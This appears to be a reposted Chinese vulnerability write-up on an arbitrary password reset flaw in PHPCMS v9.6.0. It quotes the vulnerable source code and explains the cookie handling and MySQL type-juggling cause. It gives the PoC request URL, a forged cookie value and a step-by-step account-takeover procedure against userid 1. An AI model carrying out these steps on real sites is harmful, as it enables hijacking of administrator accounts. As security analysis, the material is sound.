PHPCMS v9.6.0 任意用戶密碼重置


參考來源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html

他分析的好像不對。我用我的在分析一次。

先來看poc:

/index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=aa222a@qq.com

根據phpcms的框架,定位到源碼地址

/phpcms/modules/member/index.php   第267到312行

    public function send_newmail() {
        $_username = param::get_cookie('_regusername');
        $_userid = param::get_cookie('_reguserid');
        $_ssouid = param::get_cookie('_reguseruid');
        $newemail = $_GET['newemail'];

        if($newemail==''){//郵箱為空,直接返回錯誤
            return '2';
        }
        $this->_init_phpsso();
        $status = $this->client->ps_checkemail($newemail);
        if($status=='-5'){//郵箱被占用
            exit('-1');
        }
        if ($status==-1) {
            $status = $this->client->ps_get_member_info($newemail, 3);
            if($status) {
                $status = unserialize($status);	//接口返回序列化,進行判斷
                if (!isset($status['uid']) || $status['uid'] != intval($_ssouid)) {
                    exit('-1');
                }
            } else {
                exit('-1');
            }
        }
        //驗證郵箱格式
        pc_base::load_sys_func('mail');
        $code = sys_auth($_userid.'|'.microtime(true), 'ENCODE', get_auth_key('email'));
        $url = APP_PATH."index.php?m=member&c=index&a=register&code=$code&verify=1";

        //讀取配置獲取驗證信息
        $member_setting = getcache('member_setting');
        $message = $member_setting['registerverifymessage'];
        $message = str_replace(array('{click}','{url}','{username}','{email}','{password}'), array('<a href="'.$url.'">'.L('please_click').'</a>',$url,$_username,$newemail,$password), $message);

        if(sendmail($newemail, L('reg_verify_email'), $message)){
            //更新新的郵箱,用來驗證
            $this->db->update(array('email'=>$newemail), array('userid'=>$_userid));
            $this->client->ps_member_edit($_username, $newemail, '', '', $_ssouid);
            $return = '1';
        }else{
            $return = '2';
        }
        echo $return;
    }

  $_userid用 param::get_cookie('_reguserid') 來獲取

跟進去:/phpv9.6.0/phpcms/libs/classes/param.class.php  第106-117行。

	public static function get_cookie($var, $default = '') {
		$var = pc_base::load_config('system','cookie_pre').$var;
		$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
		if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
			$value = intval($value);
		} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
			$value = safe_replace($value);
		}
		return $value;
	}

  這時候的$var的值是_reguserid, 然后獲取前綴。pc_base::load_config('system','cookie_pre')

  $var的值就變成了gggCB__reguserid,然后進到sys_auth($_COOKIE[$var], 'DECODE'),由於這個值我們是可控的,那找個可控的地方加密一下,也就是注冊的時候,把名字注冊成1xxxx(為什么是這樣的后面會說) ,然后他會對username進行加密,我們只要注冊一個號,然后復制出里面username的值就行。

 

接着有個if判斷,這就是我說文章分析錯的地方,這里的$var的值是gggCB__reguserid,根本不在后面的這個數組里面,所以進入不到$value = intval($value);

所以不能intval出數字來,所以文章分析錯了,但是還是能密碼重置。接着看,返回了$value的值,也就是1xxxx。

省略中間的運行:來到304行,看這句

$this->db->update(array('email'=>$newemail), array('userid'=>$_userid));

進行update操作,$newemail的值是我們給的,$_userid是 1xxxx 。

跟進去形成sql修改。語句是這樣的。

UPDATE `phpcms`.`v9_member` SET `email`='aa223d@qq.com' WHERE `userid` = '1xxxx'

 

然后在mysql中,where  1 = '1sFdsfdsf'  是相等的,因為后面的字符串轉為了數組1

 

 所以他的語句就變成了

UPDATE `phpcms`.`v9_member` SET `email`='aa223d@qq.com' WHERE `userid` = '1'

 

然后重置掉了用戶userid為1 的用戶

大概的攻擊流程是這樣的。

注冊一個1xxx ,然后獲取cookie中的username的值,然后切換一個瀏覽器,再次打開網頁,在f12中,設置cookie的值,注意__reguserid前面的gggCB也要和username的值一樣

document.cookie='gggCB__reguserid=2f22C0FxoGesxWq73GqUXpuJBDAAEO_KZL5MuEDDeaEj9w'

然后訪問 /index.php?m=member&c=index&a=send_newmail&siteid=1&newemail=q123456@qq.com

看到頁面返回1就代表成功了,然后就去

/index.php?m=member&c=index&a=public_forget_password&siteid=1

輸入你的郵箱 重置掉userid=1的密碼。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM